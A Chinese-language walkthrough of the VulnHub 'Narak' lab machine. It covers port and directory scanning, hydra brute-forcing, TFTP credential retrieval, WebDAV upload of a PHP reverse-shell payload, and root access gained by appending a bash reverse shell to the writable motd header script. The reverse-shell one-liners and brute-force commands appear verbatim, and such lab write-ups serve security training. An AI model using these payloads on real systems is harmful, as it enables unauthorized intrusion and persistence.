一、靶机介绍
名称:Narak
发布日期:23 Sep 2020
Download (Mirror): https://download.vulnhub.com/ha/narak.ova
tips: Narak is the Hindu equivalent of Hell. You are in the pit with the Lord of Hell himself. Can you use your hacking skills to get out of the Narak? Burning walls and demons are around every corner even your trusty tools will betray you on this quest. Trust no one. Just remember the ultimate mantra to escape Narak “Enumeration”. After getting the root you will indeed agree “Hell ain’t a bad place to be”.
二、信息收集
主机发现
sudo arp-scan -l

端口扫描
nmap -p- 192.168.0.169 --min-rate=5000

sudo nmap -p22,80 -sT -sC -sV -O 192.168.0.169

访问首页,发现是一个有关于 Narak
(印度教地狱)的介绍

纳拉克(印度语:Narak)是印度教的地狱,罪人死后在那里受折磨。它也是死神闻罗王的住所(上图)。它被描述为位于宇宙的南部和地球之下。许多经文描述有28层地狱。死后,阎罗王的使者叫vamdoot,把所有的生命带到阎罗王的法庭上,在那里,阎罗王衡量生命的美德和罪恶,并作出判决,把有道德的送到swarg(天堂),把罪人送到地狱之一。 在斯瓦格或纳拉克的逗留通常被描述为临时性的。在惩罚结束后,灵魂根据他们的功德重生为更低或更高的生命。
About
下面有个 DoNotClick
的按钮

点击后发现得到一张图片

是否这张图片有隐藏信息?
wget http://192.168.0.169/images/666.jpg
file 666.jpg
exiftool 666.jpg

目录扫描
gobuster dir -u http://192.168.0.169 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50

http://192.168.0.169/webdav/
WebDAV (Web-based Distributed Authoring and Versioning) 一种基于 HTTP 1.1协议的通信协议。它扩展了HTTP 1.1,在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法,使应用程序可对Web Server直接读写,并支持写文件锁定(Locking)及解锁(Unlock),还可以支持文件的版本控制。
可以直接put文件上去。。。。
访问需要口令,,,

常见的弱口令测试均无法登录。。。。
简介中提到了一个用户 vamdoot
尝试ssh 爆破
hydra -l vamdoot -P /usr/share/wordlists/rockyou.txt ssh://192.168.0.169
漫长等待之后无果。。。
vamdoot
尝试 爆破 webdav
hydra -l vamdoot -P /usr/share/wordlists/rockyou.txt 192.168.0.169 http-get /webdav

经过漫长的等待,仍然无果
似乎陷入僵局。。。
常规的目录扫描无果,这时候可以尝试扫描一下 备份文件和txt类型的日志文件
dirsearch -u http://192.168.0.169 -f -e zip,jar,tar.gz,txt --wordlists=/usr/share/dirb/wordlists/common.txt
gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x zip,rar,txt,sql,php,html -u http://192.168.0.169

http://192.168.0.169/tips.txt

想打开 地狱之门,需要找到 creds.txt 这里面有密钥。。。
http://192.168.0.169/creds.txt

思路再一次卡住,,,,,
回顾整个渗透过程,我们可以发现,似乎没有任何的遗漏,唯一就是少了对 UDP端口的渗透
UDP端口扫描
sudo nmap -p- -sU 192.168.0.169 --min-rate=5000

常规UDP端口扫描再来一次
nmap -sU --top-ports 20 192.168.0.169

发现了一个有关文件传输的端口 69 tftp
TFTP(Trivial File Transfer Protocol,简单文件传输协议)是TCP/IP协议族中的一个用来在客户机与服务器之间进行简单文件传输的协议,提供不复杂、开销不大的文件传输服务。端口号为69。

tftp 192.168.0.169

看不到有啥文件,直接 get creds.txt
试试

eWFtZG9vdDpTd2FyZw==
解码
cat creds.txt | base64 -d

yamdoot:Swarg
看到这个密码,五味杂陈。。。。

下次当密码爆破失败的时候,可以优先 使用 cewl
生成字典
cewl http://192.168.0.169/ -w wt.txt
尝试 ssh
ssh yamdoot@192.168.0.169

尝试 webdav

没有任何文件,so,直接测试
┌──(kali㉿kali)-[~/Desktop]
└─$ davtest -url http://192.168.0.169/webdav -auth yamdoot:Swarg
********************************************************
Testing DAV connection
OPEN SUCCEED: http://192.168.0.169/webdav
********************************************************
NOTE Random string for this session: lSds8P9
********************************************************
Creating directory
MKCOL SUCCEED: Created http://192.168.0.169/webdav/DavTestDir_lSds8P9
********************************************************
Sending test files
PUT html SUCCEED: http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.html
PUT cgi SUCCEED: http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.cgi
PUT jhtml SUCCEED: http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.jhtml
PUT cfm SUCCEED: http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.cfm
PUT jsp SUCCEED: http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.jsp
PUT txt SUCCEED: http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.txt
PUT shtml SUCCEED: http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.shtml
PUT asp SUCCEED: http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.asp
PUT pl SUCCEED: http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.pl
PUT php SUCCEED: http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.php
PUT aspx SUCCEED: http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.aspx
********************************************************
Checking for test file execution
EXEC html SUCCEED: http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.html
EXEC html FAIL
EXEC cgi FAIL
EXEC jhtml FAIL
EXEC cfm FAIL
EXEC jsp FAIL
EXEC txt SUCCEED: http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.txt
EXEC txt FAIL
EXEC shtml FAIL
EXEC asp FAIL
EXEC pl FAIL
EXEC php SUCCEED: http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.php
EXEC php FAIL
EXEC aspx FAIL
********************************************************
/usr/bin/davtest Summary:
Created: http://192.168.0.169/webdav/DavTestDir_lSds8P9
PUT File: http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.html
PUT File: http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.cgi
PUT File: http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.jhtml
PUT File: http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.cfm
PUT File: http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.jsp
PUT File: http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.txt
PUT File: http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.shtml
PUT File: http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.asp
PUT File: http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.pl
PUT File: http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.php
PUT File: http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.aspx
Executes: http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.html
Executes: http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.txt
Executes: http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.php
┌──(kali㉿kali)-[~/Desktop]
经过测试,发现可以上传 php 文件,那么直接上传 一句话木马,或者反弹shell的脚本
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.0.132/9999 0>&1'"); ?>
三、getshell
然后再利用一个客户端。把shell.php上传,此处使用的webdav客户端是cadaver
:
cadaver http://192.168.0.169/webdav
输入用户名和密码(yamdoot:Swarg)
put shell.php


kali开启监听

访问 http://192.168.0.169/webdav/shell.php

成功反弹shell
四、提权
获取交互式shell
python3 -c "import pty;pty.spawn('/bin/bash')"
当前用户是一个 web 用户,没啥用,查看可登录用户
cat /etc/passwd | grep -v nologin
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
narak:x:1000:1000:narak,,,:/home/narak:/bin/bash
yamdoot:x:1001:1001:,,,:/home/yamdoot:/bin/bash
inferno:x:1002:1002:,,,:/home/inferno:/bin/bash

上传 linpeas.sh
看看有啥敏感信息


╔══════════╣ Searching root files in home dirs (limit 30)
/home/narak/.bash_history # 没权限
/home/inferno/user.txt
/var/www/html/tips.txt

find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null
发现 motd
的文件可以修改
很明显,现在可以修改,但是需要一个用户名和密码
hell.sh 这个文件很眼熟有没有?

www-data@ubuntu:/home/inferno$ cat /mnt/hell.sh
cat /mnt/hell.sh
#!/bin/bash
echo"Highway to Hell";
--[----->+<]>---.+++++.+.+++++++++++.--.+++[->+++<]>++.++++++.--[--->+<]>--.-----.++++.

互联网搜索得知为 BF编码 https://www.bf.doleczek.pl/

chitragupt
修改 00-header 追加反弹shell的代码
echo "bash -c 'bash -i >& /dev/tcp/192.168.0.132/8888 0>&1'" >> /etc/update-motd.d/00-header

尝试登录
ssh inferno@192.168.0.169 #chitragupt


至此,打靶结束
五、总结
- 1、目录扫描记得扫 txt、备份文件等
- 2、爆破无果,可以自己通过页面单词整理一份字典
- 3、端口扫描 TCP要是打不进去,看看UDP